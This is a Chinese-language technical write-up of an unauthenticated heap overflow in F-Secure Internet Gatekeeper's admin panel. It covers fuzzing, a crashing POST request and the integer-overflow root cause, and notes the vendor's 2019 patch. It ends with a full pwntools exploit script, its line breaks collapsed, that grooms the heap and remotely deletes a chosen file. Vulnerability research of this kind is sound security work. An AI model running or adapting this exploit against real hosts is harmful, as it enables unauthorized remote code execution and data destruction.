這篇文章將為大家詳細講解有關如何進行F-Secure Internet Gatekeeper中的堆溢出漏洞分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
在這篇文章中,我們將對F-Secure Internet Gatekeeper應用程序中的一個堆溢出漏洞進行解析,并介紹為何一個簡單的錯誤就導致了一個可利用的未認證遠程代碼執行漏洞存在。
在我們的實驗環境下,所有的漏洞復現與測試都在一臺CentOS虛擬機中進行,虛擬機配置為至少1個處理器和4GB RAM。
接下來,下載F-Secure Internet Gatekeeper
但是現在,廠商已經下架了存在漏洞的產品。
1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26
1、如果你使用的是x64版本的CentOS,請運行下列命令:
yum install glibc.i686;
2、然后,運行下列命令安裝F-Secure Internet Gatekeeper;
rpm -I <fsigkbin>.rpm
3、為了方便調試,請安裝gdb 8+和gef【點我下載】。
現在,我們已經可以使用GHIDRA/IDA或者其他反匯編/反編譯工具來對F-Secure Internet Gatekeeper進行逆向分析了。
根據F-Secure提供的信息,F-Secure Internet Gatekeeper是一款“高效且易管理的企業網絡網關級的安全防護解決方案”。
F-Secure Internet Gatekeeper包含一個運行在9012/tcp端口上的控制面板,該面板可以用來控制產品中所有可用的服務以及規則,例如HTTP代理和IMAP代理等等。這個控制面板可以通過HTTP協議訪問,這個特性由采用C語言開發的fsikgwebui程序實現。實際上,整個Web服務端都采用了C/C++開發,其中也有部分組件使用了CivetWeb的代碼,因此我們可以認為服務端很可能使用的是自定義版本的CivetWeb。
由于服務端采用的是C/C++開發的,因此我們就可以嘗試去尋找其中是否存在內存崩潰漏洞了,因為這種語言開發的應用程序經常會存在這種安全問題。
在這里,我們選擇使用Fuzzotron來對管理員控制面板進行模糊測試。Fuzzotron是一款功能強大的模糊測試工具,它使用Radamsa作為底層引擎驅動,并且內置TCP支持,以便于對網絡服務進行模糊測試。對于測試用例,我們選用了一個用于更改管理員控制面板語言設置的有效POST請求,而且未授權用戶可以發起該請求,因此非常適合我們的測試場景。
在分析Radamsa經過變異處理的輸入樣例時,我們可以看到該漏洞與Content-Length Header有關。導致軟件崩潰的測試用例Header值為:Content-Length: 21487483844,這表明溢出漏洞與整數計算錯誤有關。
在gdb中調試測試用例之后,我們發現導致崩潰的代碼位于fs_httpd_civetweb_callback_begin_request函數中,這個函數主要負責處理入棧連接,并且根據HTTP請求類型、地址路徑或Cookie來將請求轉發給相關的函數進行下一步處理。
在漏洞的復現過程中,我們需要向管理員控制面板所使用的端口9012發送POST請求,我們在其中設置了一個非常大的Content-Length Header值:
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
目標應用程序會對該請求進行解析,并執行fs_httpd_get_header函數來獲取Content-Length值。接下來,該字段值會被傳遞給strtoul函數(將字符串轉換為無符號長整型)進行處理。
上述控制流對應的偽代碼如下:
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
content_len_new = strtoul(content_len_old, 0, 10);
}
strtoul函數的返回值是一個無符號的長整型,它在32位系統上的最大值為2^32-1。
由于我們提供的Content-Length對無符號長整型來說太長了,因此strtoul函數會返回ULONG_MAX值(原始值發生溢出),那么在32位系統上對應的值就是0xFFFFFFFF。
當fs_httpd_civetweb_callback_begin_request函數嘗試執行malloc請求來為數據分配空間時,首先會在Content_Length變量上加1,然后再調用malloc函數。
相應的偽代碼如下:
// fs_malloc == mallocdata_by_post_on_heap = fs_malloc(content_len_new + 1)
由于0xFFFFFFFF + 1后將導致整數溢出,最終得到的結果為0x00000000,從而導致malloc分配大小為0個字節的內存空間。
調用malloc(0)時,該函數會返回指向堆的一個有效指針,該指針指向的是最小的一個chunk(大小為0x10字節)。
進一步分析后,我們可以看到代碼中還調用了mg_read函數:
// content_len_new is without the addition of 0x1.// so content_len_new == 0xFFFFFFFFif(content_len_new){int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)}
發生溢出后,上述代碼會讀取堆中任意數量的數據,并且沒有任何約束,這就非常方便進行漏洞利用了。此時,我們可以停止向HTTP流寫入數據,目標軟件會直接關閉連接并繼續執行操作流。這樣一來,我們就可以完全控制需要寫入的數據了。
from pwn import *import timeimport sysdef send_payload(payload, content_len=21487483844, nofun=False):r = remote(sys.argv[1], 9012)r.send("POST / HTTP/1.1\n")r.send("Host: 192.168.0.122:9012\n")r.send("Content-Length: {}\n".format(content_len))r.send("\n")r.send(payload)if not nofun:r.send("\n\n")return rdef trigger_exploit():print "Triggering exploit"payload = ""payload += "A" * 12 # Padding payload += p32(0x1d) # Fast bin chunk overwrite payload += "A"* 488 # Padding payload += p32(0xdda00771) # Address of payload payload += p32(0xdda00771+4) # Junk r = send_payload(payload)def massage_heap(filename):print "Trying to massage the heap....."for x in xrange(100):payload = ""payload += p32(0x0) # Needed to bypass checks payload += p32(0x0) # Needed to bypass checks payload += p32(0xdda0077d) # Points to where the filename will be in memory payload += filename + "\x00"payload += "C"*(0x300-len(payload))r = send_payload(payload, content_len=0x80000, nofun=True)r.close()cut_conn = Trueprint "Heap massage done"if __name__ == "__main__":if len(sys.argv) != 3:print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"exit()massage_heap(sys.argv[2])time.sleep(1)trigger_exploit()print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
漏洞修復
F-Secure針對該安全問題分配的編號為FSC-2019-3,目前F-Secure已在F-Secure Internet Gatekeeper的v5.40–5.50 hotfix 8 (2019-07-11)版本中修復了該漏洞。
關于如何進行F-Secure Internet Gatekeeper中的堆溢出漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。